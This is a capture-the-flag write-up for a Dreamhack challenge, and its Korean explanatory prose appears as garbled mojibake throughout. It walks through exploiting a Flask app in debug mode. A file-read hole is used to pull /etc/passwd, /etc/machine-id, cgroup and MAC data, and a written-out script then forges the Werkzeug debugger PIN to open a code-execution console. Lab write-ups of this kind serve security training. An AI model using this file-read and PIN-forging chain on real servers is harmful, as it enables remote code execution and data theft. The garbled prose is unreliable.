1. ๋ฌธ์
https://dreamhack.io/wargame/challenges/74
2. ํด๊ฒฐ ๊ณผ์
์ฝ๋์ ์๋ ๋ถ๋ถ์ ๋ณด๋ฉด, debug=True๋ผ๊ณ ๋์ด์๋ค.
Flask์์ Dubugger ๋ชจ๋๊ฐ ํ์ฑํ๋์ด ์์ ๋, ์๋ฌ ๋ฐ์ ์ ์๋ฌ๋ฅผ ๋ณด์ฌ์ฃผ๋ ํ์ด์ง๊ฐ ์ถ๋ ฅ๋๋ค.
ํด๋น ์๋ฌ ํ์ด์ง์์๋ ์ฝ์์ ์คํ์ํฌ ์ ์๋๋ฐ, ์ด๋ ์ฝ์์ ์คํ์ํค๊ธฐ ์ํด์๋ PIN์ด ํ์ํ๋ค.
#!/usr/bin/python3
from flask import Flask
import os
app = Flask(__name__)
app.secret_key = os.urandom(32)
@app.route('/')
def index():
return 'Hello !'
@app.route('/<path:file>')
def file(file):
return open(file).read()
app.run(host='0.0.0.0', port=8000, threaded=True, debug=True)
flask ๋๋ฒ๊ทธ ๋ชจ๋๋?
ํ๋๊ทธ๊ฐ /flag์ ์กด์ฌํ๋ค๊ณ ํ๊ธฐ ๋๋ฌธ์ /flag์ ์ ์ํด๋ณด๋ฉด FileNotFoundError๊ฐ ๋ฐ์ํ๋ค.
ํด๋น ์์น์ ํด๋น ํ์ผ์ด ์กด์ฌํ์ง ์๊ธฐ ๋๋ฌธ์ ์ค๋ฅ๊ฐ ๋ฐ์ํ๋ ๊ฒ์ด๋ค.
๋ฆฌํด ๊ฐ ์นธ์ ๋์ค๋ ํฐ๋ฏธ๋ ๋ฒํผ์ ๋๋ฌ๋ณด๋ฉด ์ฝ์์ ์คํํ๊ธฐ ์ํด PIN์ ์ ๋ ฅํ๋ผ๊ณ ๋ฌ๋ค.
๋ฐ๋ผ์, PIN์ exploitํด์ผ ํ๋๋ฐ, ์ด๋ฅผ ์ํด์ ์์๋ด์ผ ํ๋ ์ ๋ณด๋ ์๋์ ๊ฐ๋ค.
ํ์ด์ฌ์ ๋ฒ์ ๋ง๋ค ๋ค๋ฅด์ง๋ง, ๋ฌธ์ ์ฝ๋์์ ํ์ด์ฌ์ ๋ฒ์ ์ด 3.8์ด๋ผ๋ ๊ฒ์ ์ ์ ์๋ค.
FROM python:3.8
# ENV
ENV user dreamhack
ENV port 8000
# SET packages
#RUN apt-get update -y
#RUN apt-get install -y python-pip python-dev build-essential musl-dev gcc
# SET challenges
RUN adduser --disabled-password $user
ADD ./deploy /app
WORKDIR /app
RUN pip install -r requirements.txt # or # RUN pip install flask
RUN gcc /app/flag.c -o /flag \
&& chmod 111 /flag && rm /app/flag.c
# RUN
USER $user
EXPOSE $port
ENTRYPOINT ["python"]
CMD ["app.py"]
debugger PIN์ ์์ฑํ๋ ์ฝ๋๋ __init__.py ๋ผ๋ ํ์ผ์์ ์๋ค.
[๊ฒฝ๋ก] /usr/local/lib/python3.8/site-packages/werkzeug/debug/__init__.py
+) ๊ฒฝ๋ก๋ ํ์ด์ฌ์ ๋ฒ์ ๋ง๋ค ๋ค๋ฆ
def get_pin_and_cookie_name(
app: WSGIApplication,
) -> tuple[str, str] | tuple[None, None]:
"""Given an application object this returns a semi-stable 9 digit pin
code and a random key. The hope is that this is stable between
restarts to not make debugging particularly frustrating. If the pin
was forcefully disabled this returns `None`.
Second item in the resulting tuple is the cookie name for remembering.
"""
pin = os.environ.get("WERKZEUG_DEBUG_PIN")
rv = None
num = None
# Pin was explicitly disabled
if pin == "off":
return None, None
# Pin was provided explicitly
if pin is not None and pin.replace("-", "").isdecimal():
# If there are separators in the pin, return it directly
if "-" in pin:
rv = pin
else:
num = pin
modname = getattr(app, "__module__", t.cast(object, app).__class__.__module__)
username: str | None
try:
# getuser imports the pwd module, which does not exist in Google
# App Engine. It may also raise a KeyError if the UID does not
# have a username, such as in Docker.
username = getpass.getuser()
except (ImportError, KeyError):
username = None
mod = sys.modules.get(modname)
# This information only exists to make the cookie unique on the
# computer, not as a security feature.
probably_public_bits = [
username,
modname,
getattr(app, "__name__", type(app).__name__),
getattr(mod, "__file__", None),
]
# This information is here to make it harder for an attacker to
# guess the cookie name. They are unlikely to be contained anywhere
# within the unauthenticated debug page.
private_bits = [str(uuid.getnode()), get_machine_id()]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode()
h.update(bit)
h.update(b"cookiesalt")
cookie_name = f"__wzd{h.hexdigest()[:20]}"
# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
if num is None:
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]
# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
return rv, cookie_name
๊ฒฐ๊ตญ, ์๋ ๊ฐ๋ค์ด ์์ด์ผ debugger PIN์ ๋ง๋ค ์ ์๋ค.
probably_public_bits = [
username,
modname,
getattr(app, "__name__", type(app).__name__),
getattr(mod, "__file__", None),
]
private_bits = [str(uuid.getnode()), get_machine_id()]
- username: dreamhack
- app.py๋ฅผ ์คํํ ์ฌ์ฉ์ ์ด๋ฆ
- modname: flask.app
- Flask ์ ํ๋ฆฌ์ผ์ด์ ์ ๋ชจ๋ ์ด๋ฆ
- Flask ์ ํ๋ฆฌ์ผ์ด์ ์ ์คํํ ๋ ์ฌ์ฉ๋๋ ๋ชจ๋์ ์ด๋ฆ์ด flask.app์ด๋ค.
- getattr(app, '__name__', getattr (app .__ class__, '__name__')): flask
- Flask ์ ํ๋ฆฌ์ผ์ด์ ๊ฐ์ฒด app์ ํด๋์ค ์ด๋ฆ
- app ๊ฐ์ฒด๊ฐ Flask ์ ํ๋ฆฌ์ผ์ด์ ์ธ์คํด์ค์ด๋ฏ๋ก, ํด๋์ค ์ด๋ฆ์ Flask์ ๋๋ค.
- getattr(mod, '__file__', None): /usr/local/lib/python3.8/site-packages/flask/app.py
- app.py์ ์ ๋ ๊ฒฝ๋ก
- Flask ๋ชจ๋ ํ์ผ์ ์ ๋ ๊ฒฝ๋ก
- uuid.getnode(): ํด๋น pc์ MAC ์ฃผ์
- UUID ๋ชจ๋์ getnode ๋ฉ์๋๋ ์์คํ ์ MAC ์ฃผ์๋ฅผ ๋ฐํํ๋ค.
- /sys/class/net/<device id>/address
- <device id>๋ ๋คํธ์ํฌ ์ธํฐํ์ด์ค์ ์ด๋ฆ(์: eth0, wlan0)
- get_machine_id()
- '/etc/machine-id' ํ์ผ์ ๊ฐ, '/proc/sys/kernel/random/boot_id' ํ์ผ์ ๊ฐ
- /proc/self/cgroup์ ๊ฐ:
- ์์คํ ์ ๊ณ ์ ์๋ณ์๋ฅผ ๋ฐํํ๋ ํจ์
def get_machine_id() -> str | bytes | None:
global _machine_id
if _machine_id is not None:
return _machine_id
def _generate() -> str | bytes | None:
linux = b""
# machine-id is stable across boots, boot_id is not.
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
try:
with open(filename, "rb") as f:
value = f.readline().strip()
except OSError:
continue
if value:
linux += value
break
# Containers share the same machine id, add some cgroup
# information. This is used outside containers too but should be
# relatively stable across boots.
try:
with open("/proc/self/cgroup", "rb") as f:
linux += f.readline().strip().rpartition(b"/")[2]
except OSError:
pass
if linux:
return linux
# On OS X, use ioreg to get the computer's serial number.
try:
# subprocess may not be available, e.g. Google App Engine
# https://github.com/pallets/werkzeug/issues/925
from subprocess import PIPE
from subprocess import Popen
dump = Popen(
["ioreg", "-c", "IOPlatformExpertDevice", "-d", "2"], stdout=PIPE
).communicate()[0]
match = re.search(b'"serial-number" = <([^>]+)', dump)
if match is not None:
return match.group(1)
except (OSError, ImportError):
pass
# On Windows, use winreg to get the machine guid.
if sys.platform == "win32":
import winreg
try:
with winreg.OpenKey(
winreg.HKEY_LOCAL_MACHINE,
"SOFTWARE\\Microsoft\\Cryptography",
0,
winreg.KEY_READ | winreg.KEY_WOW64_64KEY,
) as rk:
guid: str | bytes
guid_type: int
guid, guid_type = winreg.QueryValueEx(rk, "MachineGuid")
if guid_type == winreg.REG_SZ:
return guid.encode()
return guid
except OSError:
pass
return None
_machine_id = _generate()
return _machine_id
[์ฐธ๊ณ ] https://lactea.kr/entry/python-flask-debugger-pin-find-and-exploit
+) cgroup: /proc/self/cgroup
๊ฒฐ๊ตญ, ์์๋ด์ผ ํ๋ ๊ฐ์ private_bits์ ๊ฐ์ด๋ค.
๋จผ์ , ํด๋น ๊ฐ๋ค์ ์์๋ณด๊ธฐ์ ์ LFI๋ฅผ ์ด์ฉํด๋ณผ ์ ์๋์ง ํ์ธํด๋ณด์๋ค.
ํ๋ก์๋ฅผ ํตํด /etc/passwd์ ์ ๊ทผํด๋ณด์๋ค.
๋จผ์ ์๋ฒ์ MAC Address๋ฅผ ์์๋ด๊ธฐ ์ํด์๋ ์ธํฐํ์ด์ค ์ด๋ฆ์ ์์๋ด์ผ ํ๋ค.
- /proc/net/dev
- ์ธํฐํ์ด์ค ์ด๋ฆ : eth0
Inter-| Receive | Transmit face |bytes packets errs drop fifo frame compressed multicast|bytes packets errs drop fifo colls carrier compressed lo: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 eth0: 40664 400 0 0 0 0 0 0 926719 591 0 0 0 0 0 0
๋งฅ ์ฃผ์
- /sys/class/net/eth0/address
๋งฅ ์ฃผ์๋ ์ ์ํ์ผ๋ก ๋ฃ์ด์ผ ํ๋ค.
https://www.vultr.com/resources/mac-converter/
'/etc/machine-id'
'/proc/sys/kernel/random/boot_id' ํ์ผ์ ๊ฐ
/proc/self/cgroup
์์๋ธ ๊ฐ์ ์ ๋ฆฌํด๋ณด๋ฉด
- username: dreamhack
- modname: flask.app
- getattr(app, '__name__', getattr (app .__ class__, '__name__')): flask
- ๋งฅ ์ฃผ์: aa:fc:00:02:58:01
- '/proc/sys/kernel/random/boot_id' ํ์ผ์ ๊ฐ: 98a0e84b-edaa-4af0-aafe-8a06299e1efb
- '/etc/machine-id' ํ์ผ์ ๊ฐ : c31eea55a29431535ff01de94bdcf5cf
- cgroup: libpod-f0e3a27e9a5aac3cb86ed8bd9e8bfc70ac0e3e0bcbc42ea414a41d793f44fcf2
์ด ๊ฐ๋ค์ ๊ธฐ๋ฐ์ผ๋ก ๋๋ฒ๊ฑฐ ํ์ ์์ฑํ๋ ์ฝ๋๋ฅผ ์์ฑํ์ฌ ์คํํ๋ค.
์ฝ๋ ์ฐธ๊ณ : https://www.daehee.com/blog/werkzeug-console-pin-exploit
import hashlib
from itertools import chain
probably_public_bits = [
'dreamhack', # username
'flask.app', # modname
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.8/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
# cgroup
cgroup = 'libpod-f0e3a27e9a5aac3cb86ed8bd9e8bfc70ac0e3e0bcbc42ea414a41d793f44fcf2'
# private_bits
private_bits = [
'187999308641793', # str(uuid.getnode())
b'c31eea55a29431535ff01de94bdcf5cf' + cgroup.encode('utf-8') # get_machine_id() + cgroup
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
[์คํ ๊ฒฐ๊ณผ] 184-013-159
๋๋ฒ๊ฑฐ ํ์ ํ์ฉํ์ฌ ์ฝ์์ ์คํ์์ผ /flag ์คํํ๋ฉด
ํ๋๊ทธ ํ๋ ์ฑ๊ณต